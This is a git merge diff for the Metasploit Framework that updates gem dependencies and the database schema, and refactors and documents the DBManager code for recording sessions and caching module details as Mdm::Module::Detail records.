Merge branch 'master' into bug/web-match_and_log_fingerprint
commit
a12e59ef1f
|
@ -12,7 +12,7 @@ If your bug is new and you'd like to report it you will need to
|
||||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||||
worry, it's easy and fun and takes about 30 seconds.
|
worry, it's easy and fun and takes about 30 seconds.
|
||||||
|
|
||||||
When you file a bug report, please inclue your **steps to reproduce**,
|
When you file a bug report, please include your **steps to reproduce**,
|
||||||
full copy-pastes of Ruby stack traces, and any relevant details about
|
full copy-pastes of Ruby stack traces, and any relevant details about
|
||||||
your environment. Without repro steps, your bug will likely be closed.
|
your environment. Without repro steps, your bug will likely be closed.
|
||||||
With repro steps, your bugs will likely be fixed.
|
With repro steps, your bugs will likely be fixed.
|
||||||
|
|
7
Gemfile
7
Gemfile
|
@ -15,7 +15,7 @@ group :db do
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
gem 'activerecord'
|
gem 'activerecord'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
gem 'metasploit_data_models', '~> 0.6.16'
|
gem 'metasploit_data_models', '~> 0.11.2'
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
gem 'pg', '>= 0.11'
|
gem 'pg', '>= 0.11'
|
||||||
end
|
end
|
||||||
|
@ -48,7 +48,12 @@ group :test do
|
||||||
gem 'database_cleaner'
|
gem 'database_cleaner'
|
||||||
# testing framework
|
# testing framework
|
||||||
gem 'rspec', '>= 2.12'
|
gem 'rspec', '>= 2.12'
|
||||||
|
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||||
|
# testing that the Msf::DBManager activation is respected.
|
||||||
|
gem 'shoulda-matchers'
|
||||||
# code coverage for tests
|
# code coverage for tests
|
||||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
gem 'simplecov', '0.5.4', :require => false
|
gem 'simplecov', '0.5.4', :require => false
|
||||||
|
# Manipulate Time.now in specs
|
||||||
|
gem 'timecop'
|
||||||
end
|
end
|
||||||
|
|
17
Gemfile.lock
17
Gemfile.lock
|
@ -13,6 +13,8 @@ GEM
|
||||||
i18n (= 0.6.1)
|
i18n (= 0.6.1)
|
||||||
multi_json (~> 1.0)
|
multi_json (~> 1.0)
|
||||||
arel (3.0.2)
|
arel (3.0.2)
|
||||||
|
bourne (1.4.0)
|
||||||
|
mocha (~> 0.13.2)
|
||||||
builder (3.0.4)
|
builder (3.0.4)
|
||||||
database_cleaner (0.9.1)
|
database_cleaner (0.9.1)
|
||||||
diff-lcs (1.2.2)
|
diff-lcs (1.2.2)
|
||||||
|
@ -20,15 +22,18 @@ GEM
|
||||||
activesupport (>= 3.0.0)
|
activesupport (>= 3.0.0)
|
||||||
i18n (0.6.1)
|
i18n (0.6.1)
|
||||||
json (1.7.7)
|
json (1.7.7)
|
||||||
metasploit_data_models (0.6.16)
|
metaclass (0.0.1)
|
||||||
|
metasploit_data_models (0.11.2)
|
||||||
activerecord (>= 3.2.13)
|
activerecord (>= 3.2.13)
|
||||||
activesupport
|
activesupport
|
||||||
pg
|
pg
|
||||||
|
mocha (0.13.3)
|
||||||
|
metaclass (~> 0.0.1)
|
||||||
msgpack (0.5.4)
|
msgpack (0.5.4)
|
||||||
multi_json (1.0.4)
|
multi_json (1.0.4)
|
||||||
nokogiri (1.5.9)
|
nokogiri (1.5.9)
|
||||||
pcaprub (0.11.3)
|
pcaprub (0.11.3)
|
||||||
pg (0.15.0)
|
pg (0.15.1)
|
||||||
rake (10.0.4)
|
rake (10.0.4)
|
||||||
redcarpet (2.2.2)
|
redcarpet (2.2.2)
|
||||||
robots (0.10.1)
|
robots (0.10.1)
|
||||||
|
@ -40,10 +45,14 @@ GEM
|
||||||
rspec-expectations (2.13.0)
|
rspec-expectations (2.13.0)
|
||||||
diff-lcs (>= 1.1.3, < 2.0)
|
diff-lcs (>= 1.1.3, < 2.0)
|
||||||
rspec-mocks (2.13.0)
|
rspec-mocks (2.13.0)
|
||||||
|
shoulda-matchers (1.5.2)
|
||||||
|
activesupport (>= 3.0.0)
|
||||||
|
bourne (~> 1.3)
|
||||||
simplecov (0.5.4)
|
simplecov (0.5.4)
|
||||||
multi_json (~> 1.0.3)
|
multi_json (~> 1.0.3)
|
||||||
simplecov-html (~> 0.5.3)
|
simplecov-html (~> 0.5.3)
|
||||||
simplecov-html (0.5.3)
|
simplecov-html (0.5.3)
|
||||||
|
timecop (0.6.1)
|
||||||
tzinfo (0.3.37)
|
tzinfo (0.3.37)
|
||||||
yard (0.8.5.2)
|
yard (0.8.5.2)
|
||||||
|
|
||||||
|
@ -56,7 +65,7 @@ DEPENDENCIES
|
||||||
database_cleaner
|
database_cleaner
|
||||||
factory_girl (>= 4.1.0)
|
factory_girl (>= 4.1.0)
|
||||||
json
|
json
|
||||||
metasploit_data_models (~> 0.6.16)
|
metasploit_data_models (~> 0.11.2)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
pcaprub
|
pcaprub
|
||||||
|
@ -65,5 +74,7 @@ DEPENDENCIES
|
||||||
redcarpet
|
redcarpet
|
||||||
robots
|
robots
|
||||||
rspec (>= 2.12)
|
rspec (>= 2.12)
|
||||||
|
shoulda-matchers
|
||||||
simplecov (= 0.5.4)
|
simplecov (= 0.5.4)
|
||||||
|
timecop
|
||||||
yard
|
yard
|
||||||
|
|
19
Rakefile
19
Rakefile
|
@ -36,6 +36,17 @@ else
|
||||||
task :default => :spec
|
task :default => :spec
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
|
||||||
|
# YARD is not defined when yard.rake is loaded.
|
||||||
|
begin
|
||||||
|
require 'yard'
|
||||||
|
rescue LoadError
|
||||||
|
puts "yard not in bundle, so can't set up yard tasks. " \
|
||||||
|
"To generate documentation ensure to install the development group."
|
||||||
|
|
||||||
|
print_without = true
|
||||||
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
require 'metasploit_data_models'
|
require 'metasploit_data_models'
|
||||||
rescue LoadError
|
rescue LoadError
|
||||||
|
@ -58,14 +69,6 @@ else
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
|
||||||
require 'yard'
|
|
||||||
rescue LoadError
|
|
||||||
puts "yard not in bundle, so can't set up yard tasks. " \
|
|
||||||
"To generate documentation ensure to install the development group."
|
|
||||||
|
|
||||||
print_without = true
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
if print_without
|
if print_without
|
||||||
|
|
37
db/schema.rb
37
db/schema.rb
|
@ -11,7 +11,7 @@
|
||||||
#
|
#
|
||||||
# It's strongly recommended to check this file into your version control system.
|
# It's strongly recommended to check this file into your version control system.
|
||||||
|
|
||||||
ActiveRecord::Schema.define(:version => 20130228214900) do
|
ActiveRecord::Schema.define(:version => 20130430162145) do
|
||||||
|
|
||||||
create_table "api_keys", :force => true do |t|
|
create_table "api_keys", :force => true do |t|
|
||||||
t.text "token"
|
t.text "token"
|
||||||
|
@ -135,7 +135,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||||
|
|
||||||
create_table "hosts", :force => true do |t|
|
create_table "hosts", :force => true do |t|
|
||||||
t.datetime "created_at"
|
t.datetime "created_at"
|
||||||
t.string "address", :limit => nil
|
t.string "address", :limit => nil, :null => false
|
||||||
t.string "mac"
|
t.string "mac"
|
||||||
t.string "comm"
|
t.string "comm"
|
||||||
t.string "name"
|
t.string "name"
|
||||||
|
@ -145,7 +145,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||||
t.string "os_sp"
|
t.string "os_sp"
|
||||||
t.string "os_lang"
|
t.string "os_lang"
|
||||||
t.string "arch"
|
t.string "arch"
|
||||||
t.integer "workspace_id"
|
t.integer "workspace_id", :null => false
|
||||||
t.datetime "updated_at"
|
t.datetime "updated_at"
|
||||||
t.text "purpose"
|
t.text "purpose"
|
||||||
t.string "info", :limit => 65536
|
t.string "info", :limit => 65536
|
||||||
|
@ -157,14 +157,15 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||||
t.integer "service_count", :default => 0
|
t.integer "service_count", :default => 0
|
||||||
t.integer "host_detail_count", :default => 0
|
t.integer "host_detail_count", :default => 0
|
||||||
t.integer "exploit_attempt_count", :default => 0
|
t.integer "exploit_attempt_count", :default => 0
|
||||||
|
t.integer "cred_count", :default => 0
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "hosts", ["address"], :name => "index_hosts_on_address"
|
|
||||||
add_index "hosts", ["name"], :name => "index_hosts_on_name"
|
add_index "hosts", ["name"], :name => "index_hosts_on_name"
|
||||||
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
|
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
|
||||||
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
|
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
|
||||||
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
|
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
|
||||||
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
||||||
|
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
|
||||||
|
|
||||||
create_table "hosts_tags", :id => false, :force => true do |t|
|
create_table "hosts_tags", :id => false, :force => true do |t|
|
||||||
t.integer "host_id"
|
t.integer "host_id"
|
||||||
|
@ -223,26 +224,26 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||||
end
|
end
|
||||||
|
|
||||||
create_table "module_actions", :force => true do |t|
|
create_table "module_actions", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id"
|
add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id"
|
||||||
|
|
||||||
create_table "module_archs", :force => true do |t|
|
create_table "module_archs", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id"
|
add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id"
|
||||||
|
|
||||||
create_table "module_authors", :force => true do |t|
|
create_table "module_authors", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
t.text "email"
|
t.text "email"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id"
|
add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id"
|
||||||
|
|
||||||
create_table "module_details", :force => true do |t|
|
create_table "module_details", :force => true do |t|
|
||||||
t.datetime "mtime"
|
t.datetime "mtime"
|
||||||
|
@ -268,34 +269,34 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||||
add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
|
add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
|
||||||
|
|
||||||
create_table "module_mixins", :force => true do |t|
|
create_table "module_mixins", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id"
|
add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id"
|
||||||
|
|
||||||
create_table "module_platforms", :force => true do |t|
|
create_table "module_platforms", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id"
|
add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id"
|
||||||
|
|
||||||
create_table "module_refs", :force => true do |t|
|
create_table "module_refs", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id"
|
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||||
|
|
||||||
create_table "module_targets", :force => true do |t|
|
create_table "module_targets", :force => true do |t|
|
||||||
t.integer "module_detail_id"
|
t.integer "detail_id"
|
||||||
t.integer "index"
|
t.integer "index"
|
||||||
t.text "name"
|
t.text "name"
|
||||||
end
|
end
|
||||||
|
|
||||||
add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id"
|
add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id"
|
||||||
|
|
||||||
create_table "nexpose_consoles", :force => true do |t|
|
create_table "nexpose_consoles", :force => true do |t|
|
||||||
t.datetime "created_at", :null => false
|
t.datetime "created_at", :null => false
|
||||||
|
|
|
@ -645,12 +645,69 @@ class DBManager
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
# Record a new session in the database
|
# @note The Mdm::Session#desc will be truncated to 255 characters.
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48249739
|
||||||
#
|
#
|
||||||
# opts MUST contain either
|
# @overload report_session(opts)
|
||||||
# +:session+:: the Msf::Session object we are reporting
|
# Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the
|
||||||
# +:host+:: the Host object we are reporting a session on.
|
# +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the
|
||||||
|
# session's host. The Mdm::Host for the +session_host+ is created using
|
||||||
|
# The session.session_host, +session.arch+ (if +session+ responds to arch),
|
||||||
|
# and the workspace derived from opts or the +session+. The Mdm::Session is
|
||||||
|
# assumed to be +last_seen+ and +opened_at+ at the time report_session is
|
||||||
|
# called. +session.exploit_datastore['ParentModule']+ is used for the
|
||||||
|
# Mdm::Session#via_exploit if +session.via_exploit+ is
|
||||||
|
# 'exploit/multi/handler'.
|
||||||
#
|
#
|
||||||
|
# @param opts [Hash{Symbol => Object}] options
|
||||||
|
# @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session
|
||||||
|
# The in-memory session to persist to the database.
|
||||||
|
# @option opts [Mdm::Workspace] :workspace The workspace for in which the
|
||||||
|
# :session host is contained. Also used as the workspace for the
|
||||||
|
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
|
||||||
|
# Mdm::Workspace#name equal to +session.workspace+.
|
||||||
|
# @return [nil] if {Msf::DBManager#active} is +false+.
|
||||||
|
# @return [Mdm::Session] if session is saved
|
||||||
|
# @raise [ArgumentError] if :session is not an {Msf::Session}.
|
||||||
|
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||||
|
# saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be
|
||||||
|
# created, but the Mdm::Host will have been. (There is no transaction
|
||||||
|
# to rollback the Mdm::Host creation.)
|
||||||
|
# @see #find_or_create_host
|
||||||
|
# @see #normalize_host
|
||||||
|
# @see #report_exploit_success
|
||||||
|
# @see #report_vuln
|
||||||
|
#
|
||||||
|
# @overload report_session(opts)
|
||||||
|
# Creates an Mdm::Session from Mdm::Host.
|
||||||
|
#
|
||||||
|
# @param opts [Hash{Symbol => Object}] options
|
||||||
|
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
|
||||||
|
# closed.
|
||||||
|
# @option opts [String] :close_reason Reason the session was closed.
|
||||||
|
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
|
||||||
|
# @option opts [String] :desc Session description. Will be truncated to 255
|
||||||
|
# characters.
|
||||||
|
# @option opts [Mdm::Host] :host The host on which the session was opened.
|
||||||
|
# @option opts [DateTime, Time] :last_seen The last date and time the
|
||||||
|
# session was seen to be open. Defaults to :closed_at's value.
|
||||||
|
# @option opts [DateTime, Time] :opened_at The date and time that the
|
||||||
|
# session was opened.
|
||||||
|
# @option opts [String] :platform The platform of the host.
|
||||||
|
# @option opts [Array] :routes ([]) The routes through the session for
|
||||||
|
# pivoting.
|
||||||
|
# @option opts [String] :stype Session type.
|
||||||
|
# @option opts [String] :via_exploit The {Msf::Module#fullname} of the
|
||||||
|
# exploit that was used to open the session.
|
||||||
|
# @option option [String] :via_payload the {MSf::Module#fullname} of the
|
||||||
|
# payload sent to the host when the exploit was successful.
|
||||||
|
# @return [nil] if {Msf::DBManager#active} is +false+.
|
||||||
|
# @return [Mdm::Session] if session is saved.
|
||||||
|
# @raise [ArgumentError] if :host is not an Mdm::Host.
|
||||||
|
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
|
||||||
|
# saved.
|
||||||
|
#
|
||||||
|
# @raise ArgumentError if :host and :session is +nil+
|
||||||
def report_session(opts)
|
def report_session(opts)
|
||||||
return if not active
|
return if not active
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
|
@ -719,13 +776,11 @@ class DBManager
|
||||||
|
|
||||||
# If this is a live session, we know the host is vulnerable to something.
|
# If this is a live session, we know the host is vulnerable to something.
|
||||||
if opts[:session] and session.via_exploit
|
if opts[:session] and session.via_exploit
|
||||||
return unless host
|
|
||||||
|
|
||||||
mod = framework.modules.create(session.via_exploit)
|
mod = framework.modules.create(session.via_exploit)
|
||||||
|
|
||||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||||
mod_fullname = sess_data[:datastore]['ParentModule']
|
mod_fullname = sess_data[:datastore]['ParentModule']
|
||||||
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name
|
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
|
||||||
else
|
else
|
||||||
mod_name = mod.name
|
mod_name = mod.name
|
||||||
mod_fullname = mod.fullname
|
mod_fullname = mod.fullname
|
||||||
|
|
|
@ -358,9 +358,19 @@ class Export
|
||||||
return el
|
return el
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# @note there is no single root element output by
|
||||||
|
# {#extract_module_detail_info}, so if calling {#extract_module_detail_info}
|
||||||
|
# directly, it is the caller's responsibility to add an opening and closing
|
||||||
|
# tag to report_file around the call to {#extract_module_detail_info}.
|
||||||
|
#
|
||||||
|
# Writes a module_detail element to the report_file for each
|
||||||
|
# Mdm::Module::Detail.
|
||||||
|
#
|
||||||
|
# @param report_file [#write, #flush] IO stream to which to write the
|
||||||
|
# module_detail elements.
|
||||||
|
# @return [void]
|
||||||
def extract_module_detail_info(report_file)
|
def extract_module_detail_info(report_file)
|
||||||
Mdm::ModuleDetail.all.each do |m|
|
Mdm::Module::Detail.all.each do |m|
|
||||||
report_file.write("<module_detail>\n")
|
report_file.write("<module_detail>\n")
|
||||||
m_id = m.attributes["id"]
|
m_id = m.attributes["id"]
|
||||||
|
|
||||||
|
@ -371,6 +381,7 @@ class Export
|
||||||
end
|
end
|
||||||
|
|
||||||
# Authors sub-elements
|
# Authors sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_authors>\n")
|
report_file.write(" <module_authors>\n")
|
||||||
m.authors.find(:all).each do |d|
|
m.authors.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
@ -381,6 +392,7 @@ class Export
|
||||||
report_file.write(" </module_authors>\n")
|
report_file.write(" </module_authors>\n")
|
||||||
|
|
||||||
# Refs sub-elements
|
# Refs sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_refs>\n")
|
report_file.write(" <module_refs>\n")
|
||||||
m.refs.find(:all).each do |d|
|
m.refs.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
@ -392,6 +404,7 @@ class Export
|
||||||
|
|
||||||
|
|
||||||
# Archs sub-elements
|
# Archs sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_archs>\n")
|
report_file.write(" <module_archs>\n")
|
||||||
m.archs.find(:all).each do |d|
|
m.archs.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
@ -403,6 +416,7 @@ class Export
|
||||||
|
|
||||||
|
|
||||||
# Platforms sub-elements
|
# Platforms sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_platforms>\n")
|
report_file.write(" <module_platforms>\n")
|
||||||
m.platforms.find(:all).each do |d|
|
m.platforms.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
@ -414,6 +428,7 @@ class Export
|
||||||
|
|
||||||
|
|
||||||
# Targets sub-elements
|
# Targets sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_targets>\n")
|
report_file.write(" <module_targets>\n")
|
||||||
m.targets.find(:all).each do |d|
|
m.targets.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
@ -424,6 +439,7 @@ class Export
|
||||||
report_file.write(" </module_targets>\n")
|
report_file.write(" </module_targets>\n")
|
||||||
|
|
||||||
# Actions sub-elements
|
# Actions sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_actions>\n")
|
report_file.write(" <module_actions>\n")
|
||||||
m.actions.find(:all).each do |d|
|
m.actions.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
@ -434,6 +450,7 @@ class Export
|
||||||
report_file.write(" </module_actions>\n")
|
report_file.write(" </module_actions>\n")
|
||||||
|
|
||||||
# Mixins sub-elements
|
# Mixins sub-elements
|
||||||
|
# @todo https://www.pivotaltracker.com/story/show/48451001
|
||||||
report_file.write(" <module_mixins>\n")
|
report_file.write(" <module_mixins>\n")
|
||||||
m.mixins.find(:all).each do |d|
|
m.mixins.find(:all).each do |d|
|
||||||
d.attributes.each_pair do |k,v|
|
d.attributes.each_pair do |k,v|
|
||||||
|
|
|
@ -314,17 +314,28 @@ class DBManager
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is
|
||||||
|
# +false+.
|
||||||
|
#
|
||||||
|
# Destroys all Mdm::Module::Details in the database.
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
def purge_all_module_details
|
def purge_all_module_details
|
||||||
return if not self.migrated
|
return if not self.migrated
|
||||||
return if self.modules_caching
|
return if self.modules_caching
|
||||||
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection do
|
::ActiveRecord::Base.connection_pool.with_connection do
|
||||||
Mdm::ModuleDetail.destroy_all
|
Mdm::Module::Detail.destroy_all
|
||||||
end
|
end
|
||||||
|
|
||||||
true
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for
|
||||||
|
# any module with an Mdm::Module::Detail where the modification time of the
|
||||||
|
# Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the
|
||||||
|
# Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail
|
||||||
|
# is just destroyed without a new one being created.
|
||||||
|
#
|
||||||
|
# @return [void]
|
||||||
def update_all_module_details
|
def update_all_module_details
|
||||||
return if not self.migrated
|
return if not self.migrated
|
||||||
return if self.modules_caching
|
return if self.modules_caching
|
||||||
|
@ -334,12 +345,12 @@ class DBManager
|
||||||
self.modules_cached = false
|
self.modules_cached = false
|
||||||
self.modules_caching = true
|
self.modules_caching = true
|
||||||
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
ActiveRecord::Base.connection_pool.with_connection do
|
||||||
|
|
||||||
refresh = []
|
refresh = []
|
||||||
skipped = []
|
skipped = []
|
||||||
|
|
||||||
Mdm::ModuleDetail.find_each do |md|
|
Mdm::Module::Detail.find_each do |md|
|
||||||
|
|
||||||
unless md.ready
|
unless md.ready
|
||||||
refresh << md
|
refresh << md
|
||||||
|
@ -359,19 +370,18 @@ class DBManager
|
||||||
skipped << [md.mtype, md.refname]
|
skipped << [md.mtype, md.refname]
|
||||||
end
|
end
|
||||||
|
|
||||||
refresh.each {|md| md.destroy }
|
refresh.each { |md| md.destroy }
|
||||||
refresh = nil
|
|
||||||
|
|
||||||
[
|
[
|
||||||
[ 'exploit', framework.exploits ],
|
['exploit', framework.exploits],
|
||||||
[ 'auxiliary', framework.auxiliary ],
|
['auxiliary', framework.auxiliary],
|
||||||
[ 'post', framework.post ],
|
['post', framework.post],
|
||||||
[ 'payload', framework.payloads ],
|
['payload', framework.payloads],
|
||||||
[ 'encoder', framework.encoders ],
|
['encoder', framework.encoders],
|
||||||
[ 'nop', framework.nops ]
|
['nop', framework.nops]
|
||||||
].each do |mt|
|
].each do |mt|
|
||||||
mt[1].keys.sort.each do |mn|
|
mt[1].keys.sort.each do |mn|
|
||||||
next if skipped.include?( [ mt[0], mn ] )
|
next if skipped.include?([mt[0], mn])
|
||||||
obj = mt[1].create(mn)
|
obj = mt[1].create(mn)
|
||||||
next if not obj
|
next if not obj
|
||||||
begin
|
begin
|
||||||
|
@ -383,57 +393,64 @@ class DBManager
|
||||||
end
|
end
|
||||||
|
|
||||||
self.framework.cache_initialized = true
|
self.framework.cache_initialized = true
|
||||||
self.framework.cache_thread = nil
|
|
||||||
|
|
||||||
self.modules_cached = true
|
|
||||||
self.modules_caching = false
|
|
||||||
|
|
||||||
nil
|
|
||||||
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def update_module_details(obj)
|
# in reverse order of section before with_connection block
|
||||||
|
self.modules_caching = false
|
||||||
|
self.modules_cached = true
|
||||||
|
self.framework.cache_thread = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# Creates an Mdm::Module::Detail from a module instance.
|
||||||
|
#
|
||||||
|
# @param module_instance [Msf::Module] a metasploit module instance.
|
||||||
|
# @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for
|
||||||
|
# Mdm::Module::Detail.
|
||||||
|
# @return [void]
|
||||||
|
def update_module_details(module_instance)
|
||||||
return if not self.migrated
|
return if not self.migrated
|
||||||
|
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
ActiveRecord::Base.connection_pool.with_connection do
|
||||||
info = module_to_details_hash(obj)
|
info = module_to_details_hash(module_instance)
|
||||||
bits = info.delete(:bits) || []
|
bits = info.delete(:bits) || []
|
||||||
|
module_detail = Mdm::Module::Detail.create!(info)
|
||||||
|
|
||||||
md = Mdm::ModuleDetail.create(info)
|
|
||||||
bits.each do |args|
|
bits.each do |args|
|
||||||
otype, vals = args
|
otype, vals = args
|
||||||
|
|
||||||
case otype
|
case otype
|
||||||
when :author
|
|
||||||
md.add_author(vals[:name], vals[:email])
|
|
||||||
when :action
|
when :action
|
||||||
md.add_action(vals[:name])
|
module_detail.add_action(vals[:name])
|
||||||
when :arch
|
when :arch
|
||||||
md.add_arch(vals[:name])
|
module_detail.add_arch(vals[:name])
|
||||||
|
when :author
|
||||||
|
module_detail.add_author(vals[:name], vals[:email])
|
||||||
when :platform
|
when :platform
|
||||||
md.add_platform(vals[:name])
|
module_detail.add_platform(vals[:name])
|
||||||
when :target
|
|
||||||
md.add_target(vals[:index], vals[:name])
|
|
||||||
when :ref
|
when :ref
|
||||||
md.add_ref(vals[:name])
|
module_detail.add_ref(vals[:name])
|
||||||
when :mixin
|
when :target
|
||||||
# md.add_mixin(vals[:name])
|
module_detail.add_target(vals[:index], vals[:name])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
md.ready = true
|
module_detail.ready = true
|
||||||
md.save
|
module_detail.save!
|
||||||
md.id
|
end
|
||||||
|
|
||||||
}
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Destroys Mdm::Module::Detail if one exists for the given
|
||||||
|
# Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname.
|
||||||
|
#
|
||||||
|
# @param mtype [String] module type.
|
||||||
|
# @param refname [String] module reference name.
|
||||||
|
# @return [void]
|
||||||
def remove_module_details(mtype, refname)
|
def remove_module_details(mtype, refname)
|
||||||
return if not self.migrated
|
return if not self.migrated
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
|
||||||
md = Mdm::ModuleDetail.find(:conditions => [ 'mtype = ? and refname = ?', mtype, refname])
|
ActiveRecord::Base.connection_pool.with_connection do
|
||||||
md.destroy if md
|
Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all
|
||||||
}
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def module_to_details_hash(m)
|
